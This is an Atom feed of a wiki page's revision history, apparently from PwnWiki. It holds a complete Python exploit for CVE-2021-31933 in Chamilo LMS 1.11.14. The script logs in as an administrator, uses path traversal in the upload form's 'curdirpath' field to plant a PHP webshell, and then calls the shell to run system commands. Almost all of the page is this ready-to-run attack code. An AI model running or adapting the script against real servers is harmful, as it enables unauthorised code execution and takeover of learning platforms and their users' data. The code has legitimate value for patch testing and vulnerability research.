<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-31933_Chamilo_LMS_1.11.14_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-31933 Chamilo LMS 1.11.14 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-31933_Chamilo_LMS_1.11.14_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-31933_Chamilo_LMS_1.11.14_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T14:56:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-31933_Chamilo_LMS_1.11.14_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2857&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) # Date: 13/05/2021 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage:...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-31933_Chamilo_LMS_1.11.14_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2857&amp;oldid=prev"/>
		<updated>2021-05-15T00:46:30Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) # Date: 13/05/2021 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage:...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date: 13/05/2021&lt;br /&gt;
# Exploit Author: M. Cory Billington (@_th3y)&lt;br /&gt;
# Vendor Homepage: https://chamilo.org&lt;br /&gt;
# Software Link: https://github.com/chamilo/chamilo-lms&lt;br /&gt;
# Version: 1.11.14&lt;br /&gt;
# Tested on: Ubuntu 20.04.2 LTS&lt;br /&gt;
# CVE: CVE-2021-31933&lt;br /&gt;
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/&lt;br /&gt;
&lt;br /&gt;
from requests import Session&lt;br /&gt;
from random import choice&lt;br /&gt;
from string import ascii_lowercase&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
# This is all configuration stuff, &lt;br /&gt;
url = &amp;quot;http://127.0.0.1/chamilo-lms/&amp;quot;  # URL to remote host web root&lt;br /&gt;
user_name = &amp;quot;admin&amp;quot;  # User must be an administrator&lt;br /&gt;
password = &amp;quot;admin&amp;quot;&lt;br /&gt;
command = &amp;quot;id;whoami&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Where you want to upload your webshell. Must be writable by web server user.&lt;br /&gt;
# This spot isn't protectec by .htaccess&lt;br /&gt;
webshell_path = 'web/' &lt;br /&gt;
webshell_name = f&amp;quot;shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar&amp;quot; # Just a random name for webshell file&lt;br /&gt;
content = f&amp;quot;&amp;lt;?php echo `{command}`; ?&amp;gt;&amp;quot; &lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    # Run a context manager with a session object to hold login session after login&lt;br /&gt;
    with Session() as s:&lt;br /&gt;
        login_url = f&amp;quot;{url}index.php&amp;quot;&lt;br /&gt;
        login_data = {&lt;br /&gt;
            &amp;quot;login&amp;quot;: user_name,&lt;br /&gt;
            &amp;quot;password&amp;quot;: password&lt;br /&gt;
        }&lt;br /&gt;
        r = s.post(login_url, data=login_data) # login request&lt;br /&gt;
&lt;br /&gt;
        # Check to see if login as admin user was successful.&lt;br /&gt;
        if &amp;quot;admin&amp;quot; not in r.url:&lt;br /&gt;
            print(f&amp;quot;[-] Login as {user_name} failed. Need to be admin&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
        print(f&amp;quot;[+] Logged in as {user_name}&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;[+] Cookie: {s.cookies}&amp;quot;)&lt;br /&gt;
        file_upload_url = f&amp;quot;{url}main/upload/upload.php&amp;quot;&lt;br /&gt;
        # The 'curdirpath' is not santitized, so I traverse to  the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well&lt;br /&gt;
        php_webshell_file = {&lt;br /&gt;
            &amp;quot;curdirpath&amp;quot;: (None, f&amp;quot;/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}&amp;quot;),&lt;br /&gt;
            &amp;quot;user_upload&amp;quot;: (webshell_name, content)&lt;br /&gt;
            }&lt;br /&gt;
        &lt;br /&gt;
        ## Good command if you want to see what the request looks like without sending&lt;br /&gt;
        # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))&lt;br /&gt;
&lt;br /&gt;
        # Two requests required to actually upload the file&lt;br /&gt;
        for i in range(2):&lt;br /&gt;
            s.post(file_upload_url, files=php_webshell_file)&lt;br /&gt;
&lt;br /&gt;
        exploit_request_url = f&amp;quot;{url}{webshell_path}{webshell_name}&amp;quot;&lt;br /&gt;
        print(&amp;quot;[+] Upload complete!&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;[+] Webshell: {exploit_request_url}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # This is a GET request to the new webshell to trigger code execution&lt;br /&gt;
        command_output = s.get(exploit_request_url)&lt;br /&gt;
        print(&amp;quot;[+] Command output:\n&amp;quot;)&lt;br /&gt;
        print(command_output.text)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>